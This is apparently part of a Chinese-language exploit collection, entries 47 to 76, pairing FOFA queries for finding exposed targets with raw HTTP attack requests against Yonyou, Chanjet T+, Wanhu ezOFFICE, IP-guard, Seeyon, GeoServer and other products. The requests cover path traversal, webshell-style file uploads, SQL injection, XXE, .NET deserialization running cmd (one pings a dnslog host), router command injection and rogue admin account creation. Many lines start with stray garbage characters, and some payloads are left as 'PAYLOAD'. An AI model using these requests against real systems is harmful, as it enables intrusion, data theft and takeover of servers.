" Q* D3 X3 B+ m! p2 Q! Q. M  MUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
4 K+ S9 [  x& HAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
, B: j: j+ `; R) z- yAccept-Encoding: gzip, deflate
- k8 a( i6 T0 t  oAccept-Language: zh-CN,zh;q=0.9
2 G% E& E8 M$ h7 }8 G* x+ L$ RConnection: close


# N# W" h7 X1 X) c4 a47. 用友GRP A++Cloud 政府财务云 任意文件读取
/ r  _2 ^$ k  A" N+ UFOFA：body="/pf/portal/login/css/fonts/style.css"
% N/ m% U' D9 x( t. r" l7 E: BGET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
; N7 f$ f2 T& QHost: x.x.x.x
Cache-Control: max-age=0
( v* ~/ X+ Y6 E, j$ O2 WUpgrade-Insecure-Requests: 1
% V* w7 L' X6 |; `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
# C% @$ _, P. m$ ~Accept-Language: zh-CN,zh;q=0.9
If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
Connection: close


5 s1 l9 b- |$ E  u- t; H
' f# W( L" r7 r/ O48. 用友U8 CRM swfupload 任意文件上传
2 C9 y2 d4 A! J7 H; D" P  |! m- ?$ ~FOFA：title="用友U8CRM"
* l/ I+ F# l! e0 w( \6 A/ K. wPOST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
9 G0 ?  S- b0 q/ {Host: your-ip
1 w- X- ?* I  AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 i5 }; ^" {& v3 f# EAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
------269520967239406871642430066855
Content-Disposition: form-data; name="file"; filename="s.php"
! E2 c  L2 a- Z8 ]3 l& F1231
Content-Type: application/octet-stream
------269520967239406871642430066855
Content-Disposition: form-data; name="upload"
upload
9 v0 o7 A+ a8 o  b------269520967239406871642430066855--
# e0 i0 O$ u1 _; t
3 A; p; _# @+ e1 U
8 b$ X1 O( q/ W/ P; t, }49. 用友U8 CRM系统uploadfile.php接口任意文件上传
6 G' Q$ K2 l# O% @" d# xFOFA：body="用友U8CRM"

POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
/ g8 ^) y  d" ]2 BContent-Length: 329
5 e, A9 ~8 P1 H; Y  w1 P2 n$ D7 yAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
" k: C. V& t0 G$ l  M" B6 HAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8 ]" Y- f0 W( l7 }3 ?Connection: close
Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w

4 n" h/ B$ A" Q$ o-----------------------------vvv3wdayqv3yppdxvn3w
+ ^  P$ c$ k% r( e% AContent-Disposition: form-data; name="file"; filename="%s.php "
5 [6 A( C0 k- N! G/ i; U0 NContent-Type: application/octet-stream
9 B" {& k, e" f, `# a- }: j6 t# ~
wersqqmlumloqa
-----------------------------vvv3wdayqv3yppdxvn3w
$ g5 a# S, E7 x% ~; l. X$ I+ g2 z; u9 KContent-Disposition: form-data; name="upload"
; u/ ]! ?* @6 a- d: G  L5 m8 }8 D
  p7 U+ L! k( I! Qupload
-----------------------------vvv3wdayqv3yppdxvn3w--
+ t4 {+ F6 p* i
0 f7 D5 P3 E5 O# H1 u3 \; _* J; E* I
http://x.x.x.x/tmpfile/updB3CB.tmp.php

$ m" E6 G8 c% [9 e' J/ h4 |50. QDocs Smart School 6.4.1 filterRecords SQL注入
FOFA：body="close closebtnmodal"
POST /course/filterRecords/ HTTP/1.1
8 }( e: H, u  l- K( X; `Host: x.x.x.x
4 ~; U" O+ f% iUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
' m- t6 R; p+ _: ^" NContent-Length: 224
Accept: */*
6 ~1 x- h$ h/ R- u) MAccept-Language: en
" L- y9 h* j0 S: f. D( \5 hContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
% O# Z7 o+ B2 h
( B- \' p: W( B8 U4 Zsearchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1
/ n* ?" q3 v5 ~# `1 D, r/ Q  ~
( k3 G: }9 P6 ?2 }1 H) z. F. E. C
8 p1 w7 t/ h2 o/ b51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
FOFA：app="云时空社会化商业ERP系统"
GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
8 a' x) T0 u+ G4 m) H& U9 p' {9 uUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
& U7 d4 y1 e  Z1 D  F3 `3 ?Accept-Language: zh-CN,zh;q=0.9
, f3 K: ?2 z3 [  l# y8 tConnection: close
) }6 N( d9 d. t* j7 G
/ e' K  K. g, `- l7 w5 x: |/ }
52. 泛微E-Office json_common.php sql注入
( T1 Z8 L/ `# B) EFOFA：app="泛微-EOffice"
- U; ?$ n) V, n' V# gPOST /building/json_common.php HTTP/1.1
Host: 192.168.86.128:8097
: p# d( A! d7 X- EUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
" @( c0 S8 E# B- U8 ^: MConnection: close
Content-Length: 87
# S- T" L# b: d8 m# z' ?' iAccept: */*
8 g. J! m4 _! L' {9 o+ oAccept-Language: en
1 l( T: M4 T5 s2 U, r3 l! T' _$ GContent-Type: application/x-www-form-urlencoded
% H& c7 j3 O6 ]8 _- M  u; fAccept-Encoding: gzip
% ?* i2 i& D9 x& k  \4 C& M! a' e% z
  |9 s: k; y: c3 Q9 |& Stfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333

# [; e4 R4 u! L. l9 Z. [% u
53. 迪普 DPTech VPN Service 任意文件上传
; p, f+ u$ l! [# _& M+ O+ uFOFA：app="DPtech-SSLVPN"
2 H7 e) m' B0 ^/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

3 @$ @# o' K. {1 G
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
6 Y+ V, V% Q8 N/ Z; hFOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
% z/ O3 `6 i# \6 k- Y9 q7 A( c

完整数据包
( w, j7 f  M* y( N, ]" G  PPOST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593
1 I. j( [- `$ t  V, U* w
0 H9 {( [; p3 ]6 s{
"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
7 q* v. z; o6 q% B* W+ k  V: p "MethodName":"Start",
7 }: [- H2 W( {0 \" r0 U! A! i4 S  "ObjectInstance":{
   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "StartInfo":{
0 |& {  T! d1 t5 _6 h! \! ]   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
0 `5 v7 g/ ?, g    "FileName":"cmd",
    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
    }
  }
+ X& }( Q9 W  @$ x  _+ N3 E  }
) j, t( N* n- U* @: M5 @0 k}
6 a0 W& I* _/ _3 j$ s$ ^

1 z! |* g/ L0 u% y第二步，访问如下url
/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt
: y4 {% o& M# y" f3 q% u9 T

55. 畅捷通T+ getdecallusers信息泄露
FOFA：app="畅捷通-TPlus"
" Q; {: B1 d; i: b/ Z' z5 v9 _% H第一步，通过
( N. _0 ?/ e# K3 y/ D4 i/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
第二步，利用获取到的Cookie请求
" N3 h1 L3 D2 a. r2 o' f$ ?/ p/ v/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers
5 `, g. t6 A0 E  T8 v: Y( E: R
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
FOFA: app="畅捷通-TPlus"
* d3 B% [6 B6 R% tPOST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
& N' x: V4 W: z7 ]Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
$ }% f& ?# B1 \) s0 U( l$ MContent-Type: application/json
! S" }1 y, A0 \% H+ V, a3 i
$ R9 P0 z* `4 @- N' d{
  "storeID":{
  Z, K5 k" H( T; Z/ J) ?! K9 E    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
   "MethodName":"Start",
, a  \/ e0 d  [6 M$ W' U    "ObjectInstance":{
+ v$ a" B1 Y2 F" W0 L6 F       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
" \3 s0 m  `7 I* k6 ], N& D/ c( a        "StartInfo": {
           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
" M# |9 m! E7 e- T4 {) q           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
       }
( O' G" S" u. g6 q/ R$ i# r    }
! b5 n& ?% h6 r0 k9 }  }
}
( v. I- y- @: N: K5 [5 y3 I
  d% }) X3 x" Y- D
57. 畅捷通T+ keyEdit.aspx SQL注入
FOFA：app="畅捷通-TPlus"
+ b1 ]' s' V1 F2 a) GGET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
! V6 [/ M4 [, _! `! W" }5 G1 P/ J" dAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
/ X$ a3 ]9 t2 x% \, f

58. 畅捷通T+ KeyInfoList.aspx sql注入
# m* z7 V2 O% _* o1 l. O8 WFOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close


7 g( m* b, M2 a59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
1 c" j, _+ a" V9 d) SPOST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
7 b) U- v, A- n3 L2 O. {1 f+ @Host: 192.168.86.128:9090
* J* o0 a1 u' d7 cUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
  v. z; A/ B$ d8 P, UConnection: close
Content-Length: 1669
  r- K' N/ w# n" i9 PAccept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
) L' N. S% M6 I4 tAccept-Encoding: gzip

PAYLOAD

  \$ n0 v! R& t! g- E+ L% {
60. 百卓Smart管理平台 importexport.php SQL注入
FOFA：title="Smart管理平台"
GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
9 o3 R, d6 S- X  Z8 P7 Q" CHost:
& x8 p! ^3 w( X% hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
+ ~1 M  P3 M5 [1 f# n( K( W1 pAccept-Language: zh-CN,zh;q=0.9
Connection: close

) m2 s+ V( w* x- q0 Y0 p. ^8 }
6 z$ d  v% C; B, p) g5 E61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
FOFA: title="欢迎使用浙大恩特客户资源管理系统"
2 U  [! w! |$ HPOST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
Host: x.x.x.x
: g' _1 J( S2 G, X' tUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
9 _; `, I7 c+ ?& K8 w2 O9 p4 uConnection: close
, K8 y1 }% D% K/ fContent-Length: 27
9 b4 |! Q5 R6 g6 tAccept: */*
Accept-Encoding: gzip, deflate
; j& l! X5 G& _Accept-Language: en
+ D% L" ?! o# `: \. h) w7 W' qContent-Type: application/x-www-form-urlencoded

8uxssX66eqrqtKObcVa0kid98xa


5 p5 @' ]6 H& M5 g62. IP-guard WebServer 远程命令执行
5 }" R4 a- d. H4 s  D( @; FFOFA："IP-guard" && icon_hash="2030860561"
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
4 C/ ^/ j" J8 o! M. uConnection: close
Accept: */*
! D3 i. v7 h# H, K$ HAccept-Language: en
Accept-Encoding: gzip
2 K; h5 D, Q& Q4 D: q

访问

. z" ^7 J6 i$ Q: U/ s) l) D: nGET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x

6 e/ g' I( q* D
: ~) v( ?  v. m- P3 S  S' [1 h63. IP-guard WebServer任意文件读取
6 K) W; P' V' A* X0 ?; \IP-guard < 4.82.0609.0
FOFA：icon_hash="2030860561"
& F7 D, D  W7 L0 K% J8 J+ aPOST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
1 K  Y$ |, i, `- y( R$ h1 i/ AHost: your-ip
1 G9 Z' p- q: e6 I' L; i  k1 {4 O7 TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
5 L3 E9 _" n  X# i. {3 DAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
. `- g- `& x- y+ k8 ]) ]( vAccept-Encoding: gzip, deflate
  T  `& J6 m+ L+ i& f& Y& TAccept-Language: zh-CN,zh;q=0.9
0 W8 P! F! ?- Y9 h2 EConnection: close
Content-Type: application/x-www-form-urlencoded
- u7 q0 A3 m$ Z# g
path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
9 I3 R1 h5 j+ c* Y
, X( d6 w9 w; h) M- V& ^6 d# W. h64. 捷诚管理信息系统CWSFinanceCommon SQL注入
FOFA：body="/Scripts/EnjoyMsg.js"
' h( \5 v& X5 ?POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
6 `6 {- i5 I3 G3 F+ B  a# |Host: 192.168.86.128:9001
" Z0 S7 U; _7 E* mUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
Content-Length: 369
9 H& C, l; X& Y! p% F# x2 X2 MAccept: */*
, w' i6 E1 G" T/ YAccept-Language: en
Content-Type: text/xml; charset=utf-8
* |& I! P6 e2 jAccept-Encoding: gzip
( \# K6 Z/ g  N( \) i
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
    <GetOSpById xmlns="http://tempuri.org/">
      <sId>1';waitfor delay '0:0:5'--+</sId>
3 |9 b2 P% H4 P% z1 C. W, _* |# n    </GetOSpById>
  </soap:Body>
& ^* `+ z" f- v2 l; E1 ^</soap:Envelope>
; h3 X5 j& o* k+ l3 X) C& P
6 g/ }; S+ t* O, E
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
( T! Z' ?* A% r# Y' m( q& K2 @FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
/ [% [0 }& q. D5 k: U响应200即成功创建账号test123456/123456
/ k; S7 j# s; U4 w9 p5 l' uPOST /SystemMng.ashx HTTP/1.1
Host:
  F6 d9 P0 O& M+ F0 [. GUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Accept-Language: en
Content-Length: 174
% \+ j) T- |4 W# v, `7 w. @; e
operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators


66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
1 }1 u  V9 o- y# M
GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
" W! D( {" v8 e# p% }Host: x.x.x.x
# U$ t" e7 ~$ Q) o3 q" m' qUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
: j& {$ ~% z7 T& X! @. KAccept: */*
Accept-Language: en
% {" B, \4 w- f0 s  SAccept-Encoding: gzip
* P" n% i) C8 f, U4 y' Q
3 ]  K* y$ E' }- Y+ E
第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在

67. 万户ezOFFICE wpsservlet任意文件上传
FOFA：app="万户网络-ezOFFICE"
, c& _4 {" K4 w. D$ WnewdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
; t' ^4 e* m1 H. D3 QHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
& w7 D3 s7 P8 Y5 x$ P  xContent-Length: 173
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
/ D& @  w5 D1 mContent-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
) O% v. m8 |2 ~8 D# {; ]0 C, DUpgrade-Insecure-Requests: 1
! c+ n9 ]! F. ]& |
0 U% `9 ^9 |6 }; U' S--ufuadpxathqvxfqnuyuqaozvseiueerp
Content-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
0 y0 E9 M. d& T" |& O+ N$ a4 g
<% out.print("sasdfghjkj");%>
--ufuadpxathqvxfqnuyuqaozvseiueerp--
! w% e( H% V) T0 M; U7 L

$ Z3 t* ?3 C" V- ?7 f8 g* w; `文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp

68. 万户ezOFFICE wf_printnum.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: {{host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
. [# t4 n# Y* [6 f: t* Y
7 Q% D, r) ?* f8 Y- T  `7 Q3 |
8 J! C6 z1 l& q) d1 B69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
) s' Z9 b+ |! K6 @. LGET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
$ B% u5 C. p5 E. UHost: your-ip
& n0 e% \$ p# Y9 f8 X4 d& gUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
- k# h4 {6 m0 RAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
  l/ H3 _( O1 w) g
" ?6 R3 N+ ~" p+ u5 r5 N: A; F  R3 O
: J8 n6 K) ^: p6 W9 ]70. 万户ezEIP success 命令执行
FOFA：app="万户网络-ezEIP"
POST /member/success.aspx HTTP/1.1
# p: n$ S& w6 Y# o$ |  y/ S( C# W0 E2 jHost: {{Hostname}}
1 b" ]+ @* k% {3 OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
# G9 k/ ~# [5 x8 O3 oSID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
Content-Type: application/x-www-form-urlencoded
TYPE: C
Content-Length: 16702

$ ~( j  W3 Q+ p2 ?__VIEWSTATE=PAYLOAD
6 ]/ z: @7 z  y# M0 y' [) k! i" R

71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
( X/ `$ w, I+ o' _FOFA：body="PM2项目管理系统BS版增强工具.zip"
GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
8 V8 K# `0 P5 y, t# l) J3 c: i' j, THost: x.x.x.xx.x.x.x
- L/ n! @4 T$ W/ r6 GUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1

0 v( x0 g+ q+ m0 Y
; R9 x# i0 G0 J8 y/ b72. 致远OA getAjaxDataServlet XXE
FOFA：app="致远互联-OA"
! S0 h; o6 p9 ]( _POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
5 d7 d- o8 Z+ V5 J3 L  ]9 k2 RHost: 192.168.40.131:8099
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 583
; l/ J$ Q( l6 y" q8 \  K. oContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

, ?% Y3 Q1 x% D6 v) R; m; LS=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E


73. GeoServer wms远程代码执行
& k% r" o  b' YFOFA：icon_hash=”97540678”
POST /geoserver/wms HTTP/1.1
4 R! O3 {5 r/ [Host:
, f$ w2 b$ S  AUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Content-Length: 1981
Accept-Encoding: gzip, deflate
5 a6 p; Y# D' SConnection: close
$ u" k( E: b6 ?3 {; z5 ^Content-Type: application/xml
SL-CE-SUID: 3
7 x$ P3 l5 i- b- o$ U5 [) `. D9 b
PAYLOAD


/ M5 z$ l6 @" n! ]5 W74. 致远M3-server 6_1sp1 反序列化RCE
' {  d+ @+ U8 FFOFA：title="M3-Server"
PAYLOAD
  F: F8 I$ @( P2 |" \
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
/ D3 w' G0 m( I5 ?: T/ K; m7 k  uFOFA：app="TELESQUARE-TLR-2005KSH"
GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
6 f3 x" P! s; N! a9 z7 ~' |9 {& C/ jConnection: close
5 e- w( w! y4 T6 LAccept: */*
6 a8 P5 t9 l0 j+ SAccept-Language: en
Accept-Encoding: gzip
$ U8 b2 k( Y' y5 ?' m

2 Y0 r- B4 {# D" Z8 G; H- EGET /cgi-bin/test28256.txt HTTP/1.1
Host: x.x.x.x
1 z) h; I" \0 H
0 p; w/ c) o' p/ {5 e/ b, y
76. 新开普掌上校园服务管理平台service.action远程命令执行
FOFA：title="掌上校园服务管理平台"
$ Z' ^! L) V7 l) oPOST /service_transport/service.action HTTP/1.1
; o6 e: l( r+ x2 E/ X: n9 ~' LHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
- ]. `% J1 o' H# a" v% qContent-Length: 211
- G/ U. h2 Y* l; @/ G( ]7 BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
1 r' C: g1 H( v. W5 AAccept-Encoding: gzip, deflate
